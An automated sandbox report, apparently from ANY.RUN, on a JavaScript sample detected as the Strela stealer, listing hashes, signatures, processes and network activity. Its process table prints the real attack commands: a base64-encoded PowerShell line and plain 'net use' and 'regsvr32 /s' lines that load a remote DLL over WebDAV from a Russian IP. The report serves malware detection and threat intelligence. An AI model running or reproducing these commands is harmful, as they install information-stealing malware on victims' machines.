| File name: | 39837570410621389.js |
| Full analysis: | https://app.any.run/tasks/78f37868-d278-4952-a12b-47a16902bb01 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | December 13, 2024, 10:19:27 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (65536), with no line terminators |
| MD5: | 1C6F8E225D9E2ED2D615DCFCC336B8D4 |
| SHA1: | 1E6EBE5C8B5D274992FFFD07C09844A7605F1CEE |
| SHA256: | 0246FF5EBDBA32E4C6BF0206EDAE5FF80BD12E428C7F3E1CF772E746862838D0 |
| SSDEEP: | 1536:6vvkgPyEhwtud5aLSOfZbS9VqqOfbS9tjejojTKTA:OGdui+OdS9VqqOjS9tjejojTKTA |
MALICIOUS
Registers / Runs the DLL via REGSVR32.EXE
- cmd.exe (PID: 4544)
STRELA has been detected
- powershell.exe (PID: 3652)
- cmd.exe (PID: 4544)
WebDav connection (SURICATA)
- net.exe (PID: 5872)
SUSPICIOUS
Base64-obfuscated command line is found
- cmd.exe (PID: 3532)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 3144)
- powershell.exe (PID: 3652)
Connects to unusual port
- net.exe (PID: 5872)
Starts NET.EXE to map network drives
- cmd.exe (PID: 3080)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3144)
BASE64 encoded PowerShell command has been detected
- cmd.exe (PID: 3532)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 3532)
INFO
Checks proxy server information
- net.exe (PID: 5872)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
127
Monitored processes
8
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3080 | "C:\WINDOWS\system32\cmd.exe" /c net use \\94.159.113.204@8888\davwwwroot\ | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3144 | "C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\39837570410621389.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 3532 | "C:\Windows\System32\cmd.exe" /c powershell -EncodedCommand YwBtAGQAIAAvAGMAIABuAGUAdAAgAHUAcwBlACAAXABcADkANAAuADEANQA5AC4AMQAxADMALgAyADAANABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwA7ADsAOwA7ADsAOwA7AGMAbQBkACAALwBjACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcADkANAAuADEANQA5AC4AMQAxADMALgAyADAANABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUANgAyADIAMgA0ADMANgAyADMANgAuAGQAbABsAA== | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3652 | powershell -EncodedCommand YwBtAGQAIAAvAGMAIABuAGUAdAAgAHUAcwBlACAAXABcADkANAAuADEANQA5AC4AMQAxADMALgAyADAANABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwA7ADsAOwA7ADsAOwA7AGMAbQBkACAALwBjACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcADkANAAuADEANQA5AC4AMQAxADMALgAyADAANABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUANgAyADIAMgA0ADMANgAyADMANgAuAGQAbABsAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4120 | regsvr32 /s \\94.159.113.204@8888\davwwwroot\1656222436236.dll | C:\Windows\System32\regsvr32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 3 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4544 | "C:\WINDOWS\system32\cmd.exe" /c regsvr32 /s \\94.159.113.204@8888\davwwwroot\1656222436236.dll | C:\Windows\System32\cmd.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4716 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5872 | net use \\94.159.113.204@8888\davwwwroot\ | C:\Windows\System32\net.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
4 800
Read events
4 799
Write events
1
Delete events
0
Modification events
| (PID) Process: | (3144) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 1560130000000000 | |||
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2qkj0jwb.pcd.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nyhn1yip.b5e.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:61D72CE6BA54438A4DCF2C436544B5B7 | SHA256:2BC8A3F47B2AE2DE43107198EB51B512283C395C48E8FB168009BFC2AE4CA006 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
20
DNS requests
5
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5872 | net.exe | OPTIONS | 500 | 94.159.113.204:8888 | http://94.159.113.204:8888/ | unknown | — | — | unknown |
640 | svchost.exe | GET | 200 | 2.16.164.106:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1520 | RUXIMICS.exe | GET | 200 | 2.16.164.106:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
640 | svchost.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1520 | RUXIMICS.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
1520 | RUXIMICS.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
640 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5872 | net.exe | 94.159.113.204:8888 | — | NetCom-R LLC | RU | unknown |
640 | svchost.exe | 2.16.164.106:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
1520 | RUXIMICS.exe | 2.16.164.106:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
640 | svchost.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
1520 | RUXIMICS.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
Threats
1 ETPRO signatures available at the full report